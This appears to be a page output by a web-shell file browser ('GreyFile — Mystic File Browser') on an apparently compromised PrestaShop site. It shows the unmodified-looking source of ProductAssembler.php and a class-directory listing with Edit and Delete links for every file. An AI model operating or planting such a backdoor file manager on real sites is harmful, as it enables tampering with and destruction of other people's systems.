?? GreyFile

?? GreyFile — Mystic File Browser

Current path: home/webdevt/www/schtroumpf.fr/classes/

?? Go up: /home/webdevt/www/schtroumpf.fr

?? Editing: ProductAssembler.php

<?php
/**
 * Copyright since 2007 PrestaShop SA and Contributors
 * PrestaShop is an International Registered Trademark & Property of PrestaShop SA
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.md.
 * It is also available through the world-wide-web at this URL:
 * https://opensource.org/licenses/OSL-3.0
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@prestashop.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
 * versions in the future. If you wish to customize PrestaShop for your
 * needs please refer to https://devdocs.prestashop.com/ for more information.
 *
 * @author    PrestaShop SA and Contributors <contact@prestashop.com>
 * @copyright Since 2007 PrestaShop SA and Contributors
 * @license   https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0)
 */
use PrestaShop\PrestaShop\Core\Product\Search\ProductSearchContext;

/**
 * Class ProductAssemblerCore.
 */
class ProductAssemblerCore
{
    private $context;
    private $searchContext;

/**
     * ProductAssemblerCore constructor.
     *
     * @param \Context $context
     */
    public function __construct(Context $context)
    {
        $this->context = $context;
        $this->searchContext = new ProductSearchContext($context);
    }

/**
     * Add missing product fields.
     *
     * @param array $rawProduct
     *
     * @return array
     *
     * @throws PrestaShopDatabaseException
     */
    private function addMissingProductFields(array $rawProduct): array
    {
        // If there is no ID product provided, return the original data
        if (empty($rawProduct['id_product'])) {
            return $rawProduct;
        }

$sql = $this->getSqlQueryProductFields([(int) $rawProduct['id_product']]);
        $rows = Db::getInstance()->executeS($sql);
        if (empty($rows)) {
            return $rawProduct;
        }

return array_merge($rows[0], $rawProduct);
    }

/**
     * Add missing product fields to multiple products
     *
     * @param array $rawProducts
     *
     * @return array
     *
     * @throws PrestaShopDatabaseException
     */
    private function addMissingProductFieldsForMultipleProducts(array $rawProducts): array
    {
        // Get product IDs we want to retrieve from database
        $productIds = array_column($rawProducts, 'id_product');

// If there were no product IDs provided or somebody passed an empty array,
        // return the original data
        if (empty($productIds)) {
            return $rawProducts;
        }

// Retrieve data and reassign them to new array by their key
        $productData = [];
        $sql = $this->getSqlQueryProductFields($productIds);
        $rows = Db::getInstance()->executeS($sql);
        foreach ($rows as $row) {
            $productData[(int) $row['id_product']] = $row;
        }

// Use this data to enrich the products and return it
        foreach ($rawProducts as &$rawProduct) {
            if (isset($productData[$rawProduct['id_product']])) {
                $rawProduct = array_merge($productData[$rawProduct['id_product']], $rawProduct);
            }
        }

return $rawProducts;
    }

/**
     * Return the SQL query to get all product fields
     *
     * @param array $productIds
     *
     * @return string
     */
    private function getSqlQueryProductFields(array $productIds): string
    {
        // Get basic configuration
        $idShop = $this->searchContext->getIdShop();
        $idShopGroup = $this->searchContext->getIdShopGroup();
        $isStockSharingBetweenShopGroupEnabled = $this->searchContext->isStockSharingBetweenShopGroupEnabled();
        $idLang = $this->searchContext->getIdLang();
        $prefix = _DB_PREFIX_;

$nbDaysNewProduct = (int) Configuration::get('PS_NB_DAYS_NEW_PRODUCT');
        if (!Validate::isUnsignedInt($nbDaysNewProduct)) {
            $nbDaysNewProduct = 20;
        }
        $now = date('Y-m-d') . ' 00:00:00';

$sql = "SELECT
                    p.*,
                    ps.*,
                    pl.*,
                    sa.out_of_stock,
                    IFNULL(sa.quantity, 0) as quantity,
                    (DATEDIFF(
                        p.`date_add`,
                        DATE_SUB(
                            '$now',
                            INTERVAL $nbDaysNewProduct DAY
                        )
                    ) > 0) as new
                FROM {$prefix}product p
                LEFT JOIN {$prefix}product_lang pl
                    ON pl.id_product = p.id_product
                    AND pl.id_shop = $idShop
                    AND pl.id_lang = $idLang
                LEFT JOIN {$prefix}stock_available sa ";

if ($isStockSharingBetweenShopGroupEnabled) {
            $sql .= "  ON sa.id_product = p.id_product
			        AND sa.id_shop = 0
                    AND sa.id_product_attribute = 0
			        AND sa.id_shop_group = $idShopGroup ";
        } else {
            $sql .= "  ON sa.id_product = p.id_product
                    AND sa.id_product_attribute = 0
			        AND sa.id_shop = $idShop ";
        }
        $sql .= "LEFT JOIN {$prefix}product_shop ps
			        ON ps.id_product = p.id_product
			        AND ps.id_shop = $idShop
                WHERE p.id_product IN (" . implode(',', $productIds) . ')';

return $sql;
    }

/**
     * Get basic product data for single product.
     * The only required property is id_product.
     *
     * @param array $rawProduct
     *
     * @return mixed
     *
     * @throws PrestaShopDatabaseException
     */
    public function assembleProduct(array $rawProduct)
    {
        $enrichedProduct = $this->addMissingProductFields($rawProduct);

return Product::getProductProperties(
            $this->searchContext->getIdLang(),
            $enrichedProduct,
            $this->context
        );
    }

/**
     * Get basic product data for multiple products.
     * The only required property for each product is id_product.
     *
     * @param array $rawProducts Array with multiple products
     *
     * @return mixed
     *
     * @throws PrestaShopDatabaseException
     */
    public function assembleProducts(array $rawProducts)
    {
        $enrichedProducts = $this->addMissingProductFieldsForMultipleProducts($rawProducts);

foreach ($enrichedProducts as &$product) {
            $product = Product::getProductProperties(
                $this->searchContext->getIdLang(),
                $product,
                $this->context
            );
        }

return $enrichedProducts;
    }
}

?? assets | ??? Delete
?? cache | ??? Delete
?? checkout | ??? Delete
?? container | ??? Delete
?? controller | ??? Delete
?? db | ??? Delete
?? exception | ??? Delete
?? form | ??? Delete
?? helper | ??? Delete
?? lang | ??? Delete
?? log | ??? Delete
?? module | ??? Delete
?? order | ??? Delete
?? pdf | ??? Delete
?? product | ??? Delete
?? proxy | ??? Delete
?? range | ??? Delete
?? shop | ??? Delete
?? Smarty | ??? Delete
?? stock | ??? Delete
?? tax | ??? Delete
?? tree | ??? Delete
?? webservice | ??? Delete
?? Access.php | ?? Edit | ??? Delete
?? Address.php | ?? Edit | ??? Delete
?? AddressChecksumCore.php | ?? Edit | ??? Delete
?? AddressFormat.php | ?? Edit | ??? Delete
?? Alias.php | ?? Edit | ??? Delete
?? Attachment.php | ?? Edit | ??? Delete
?? AttributeGroup.php | ?? Edit | ??? Delete
?? Carrier.php | ?? Edit | ??? Delete
?? Cart.php | ?? Edit | ??? Delete
?? CartRule.php | ?? Edit | ??? Delete
?? Category.php | ?? Edit | ??? Delete
?? Chart.php | ?? Edit | ??? Delete
?? ChecksumInterface.php | ?? Edit | ??? Delete
?? CMS.php | ?? Edit | ??? Delete
?? CMSCategory.php | ?? Edit | ??? Delete
?? CMSRole.php | ?? Edit | ??? Delete
?? Combination.php | ?? Edit | ??? Delete
?? Configuration.php | ?? Edit | ??? Delete
?? ConfigurationKPI.php | ?? Edit | ??? Delete
?? ConfigurationTest.php | ?? Edit | ??? Delete
?? Connection.php | ?? Edit | ??? Delete
?? ConnectionsSource.php | ?? Edit | ??? Delete
?? Contact.php | ?? Edit | ??? Delete
?? Context.php | ?? Edit | ??? Delete
?? Cookie.php | ?? Edit | ??? Delete
?? Country.php | ?? Edit | ??? Delete
?? CSV.php | ?? Edit | ??? Delete
?? Currency.php | ?? Edit | ??? Delete
?? Curve.php | ?? Edit | ??? Delete
?? Customer.php | ?? Edit | ??? Delete
?? CustomerAddress.php | ?? Edit | ??? Delete
?? CustomerMessage.php | ?? Edit | ??? Delete
?? CustomerSession.php | ?? Edit | ??? Delete
?? CustomerThread.php | ?? Edit | ??? Delete
?? Customization.php | ?? Edit | ??? Delete
?? CustomizationField.php | ?? Edit | ??? Delete
?? DateRange.php | ?? Edit | ??? Delete
?? Delivery.php | ?? Edit | ??? Delete
?? Dispatcher.php | ?? Edit | ??? Delete
?? Employee.php | ?? Edit | ??? Delete
?? EmployeeSession.php | ?? Edit | ??? Delete
?? Feature.php | ?? Edit | ??? Delete
?? FeatureFlag.php | ?? Edit | ??? Delete
?? FeatureValue.php | ?? Edit | ??? Delete
?? FileUploader.php | ?? Edit | ??? Delete
?? Gender.php | ?? Edit | ??? Delete
?? Group.php | ?? Edit | ??? Delete
?? GroupReduction.php | ?? Edit | ??? Delete
?? Guest.php | ?? Edit | ??? Delete
?? Hook.php | ?? Edit | ??? Delete
?? Image.php | ?? Edit | ??? Delete
?? ImageManager.php | ?? Edit | ??? Delete
?? ImageType.php | ?? Edit | ??? Delete
?? index.php | ?? Edit | ??? Delete
?? Language.php | ?? Edit | ??? Delete
?? Link.php | ?? Edit | ??? Delete
?? LocalizationPack.php | ?? Edit | ??? Delete
?? Mail.php | ?? Edit | ??? Delete
?? Manufacturer.php | ?? Edit | ??? Delete
?? ManufacturerAddress.php | ?? Edit | ??? Delete
?? Media.php | ?? Edit | ??? Delete
?? Message.php | ?? Edit | ??? Delete
?? Meta.php | ?? Edit | ??? Delete
?? Notification.php | ?? Edit | ??? Delete
?? ObjectModel.php | ?? Edit | ??? Delete
?? Pack.php | ?? Edit | ??? Delete
?? Page.php | ?? Edit | ??? Delete
?? PaymentFree.php | ?? Edit | ??? Delete
?? PaymentModule.php | ?? Edit | ??? Delete
?? PhpEncryption.php | ?? Edit | ??? Delete
?? PhpEncryptionEngine.php | ?? Edit | ??? Delete
?? PrestaShopAutoload.php | ?? Edit | ??? Delete
?? PrestaShopBackup.php | ?? Edit | ??? Delete
?? PrestaShopCollection.php | ?? Edit | ??? Delete
?? PrestaShopLogger.php | ?? Edit | ??? Delete
?? Product.php | ?? Edit | ??? Delete
?? ProductAssembler.php | ?? Edit | ??? Delete
?? ProductAttribute.php | ?? Edit | ??? Delete
?? ProductDownload.php | ?? Edit | ??? Delete
?? ProductPresenterFactory.php | ?? Edit | ??? Delete
?? ProductSale.php | ?? Edit | ??? Delete
?? ProductSupplier.php | ?? Edit | ??? Delete
?? Profile.php | ?? Edit | ??? Delete
?? QqUploadedFileForm.php | ?? Edit | ??? Delete
?? QqUploadedFileXhr.php | ?? Edit | ??? Delete
?? QuickAccess.php | ?? Edit | ??? Delete
?? RequestSql.php | ?? Edit | ??? Delete
?? Risk.php | ?? Edit | ??? Delete
?? Search.php | ?? Edit | ??? Delete
?? SearchEngine.php | ?? Edit | ??? Delete
?? SpecificPrice.php | ?? Edit | ??? Delete
?? SpecificPriceRule.php | ?? Edit | ??? Delete
?? State.php | ?? Edit | ??? Delete
?? Store.php | ?? Edit | ??? Delete
?? Supplier.php | ?? Edit | ??? Delete
?? SupplierAddress.php | ?? Edit | ??? Delete
?? Tab.php | ?? Edit | ??? Delete
?? Tag.php | ?? Edit | ??? Delete
?? Tools.php | ?? Edit | ??? Delete
?? Translate.php | ?? Edit | ??? Delete
?? TranslatedConfiguration.php | ?? Edit | ??? Delete
?? Upgrader.php | ?? Edit | ??? Delete
?? Uploader.php | ?? Edit | ??? Delete
?? Validate.php | ?? Edit | ??? Delete
?? ValidateConstraintTranslator.php | ?? Edit | ??? Delete
?? WarehouseAddress.php | ?? Edit | ??? Delete
?? Zone.php | ?? Edit | ??? Delete